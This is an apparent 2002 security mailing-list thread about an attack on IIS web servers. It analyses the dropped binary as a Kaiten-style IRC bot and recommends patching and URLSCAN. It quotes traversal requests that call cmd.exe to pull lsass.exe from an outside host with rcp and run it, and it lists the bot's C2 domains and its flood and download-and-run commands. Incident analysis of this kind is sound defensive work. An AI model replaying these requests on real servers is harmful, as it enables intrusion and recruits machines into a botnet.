Hardening of IIS with the tools available at Microsoft and using URLSCAN with the EXE blocking on will stop these attacks. Patch, patch, patch, recheck the patches and use URLSCAN! Mark Challender Network Administrator ================== Veni, Vidi, Geeki ================== -----Original Message----- From: pjat_private [mailto:pjat_private] Sent: Monday, September 23, 2002 3:27 AM To: incidentsat_private Subject: Re: new IIS worm? (rcp lsass.exe) Christian Mock: >Then it seems to go after the web servers, sending the following: >GET /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+rcp+-b+64.21.95.7.lp:lsass.exe+ . HTTP/1.0.. >and >GET /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+lsass.exe HTTP/1.0 >I've been able to get hold of that lsass.exe binary (9728 bytes), but >I lack the skills to analyze it; I'll happily mail it to anybody who asks. We have seen this attack from 4 different sources since Sept. 16, and have informed the owner of 64.21.95.7 and downloaded the lsass.exe for investigation. Based on the attack rate this is most likely a scripted or manual attack, not a worm. Judging from the embedded string in this compressed binary it appears to be an IRC bot based on the kaiten.c code written by contem@efnet, the author of the Slapper worm : Kaiten Win32 API version 2002 by contem@efnet The binary contains these domainnames, most likeky IRC servers used for controlling the bot: telsa5.mine.nu (Korea) irc.logicfive.net (Taiwan) moncredo.shacknet.nu (USA) telsacredo.shacknet.nu (USA) lar.ath.cx (Taiwan) The program accepts commands to make various DOS attacks or download new version or executables with http: NOTICE %s :PUSH <target> <port> <secs> = A push flooder NOTICE %s :TCP <target> <port> <secs> = A syn flooder NOTICE %s :UDP <target> <port> <secs> = A udp flooder NOTICE %s :MCON <target> <port> <times> = A connectbomb flooder NOTICE %s :NICK <nick> = Changes the nick of the client NOTICE %s :DISABLE <pass> = Disables all packeting from this client NOTICE %s :ENABLE <pass> = Enables all packeting from this client NOTICE %s :UPDATE <http address> = Downloads a file off the web and updates the client NOTICE %s :RUN <http address> = Downloads a file off the web and runs it NOTICE %s :GET <http address> = Downloads a file off the web NOTICE %s :ADDSERVER <server> = Adds a server to the list NOTICE %s :DELSERVER <server> = Deletes a server from the list NOTICE %s :LISTSERVERS = Lists server on the list NOTICE %s :KILL = Kills the client NOTICE %s :VERSION = Requests version of client NOTICE %s :HELP = Displays this There seems also to be a default account and password in the german language included in this specific version of Kaiten. The IIS attack that tries to inject this Trojan usually has another URL with "CONNECT chat.vtm.be:6667". This is an attempt to proxy an connection to port 6667(IRC) on chat.vtm.be. Peter Jelver ... eSec A/S http://www.esec.dk ............................................................................ . PGP Fingerprint : 47AF FFEC D48F 9C13 0C4F E687 BB8A 128F D85C A7D7 ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
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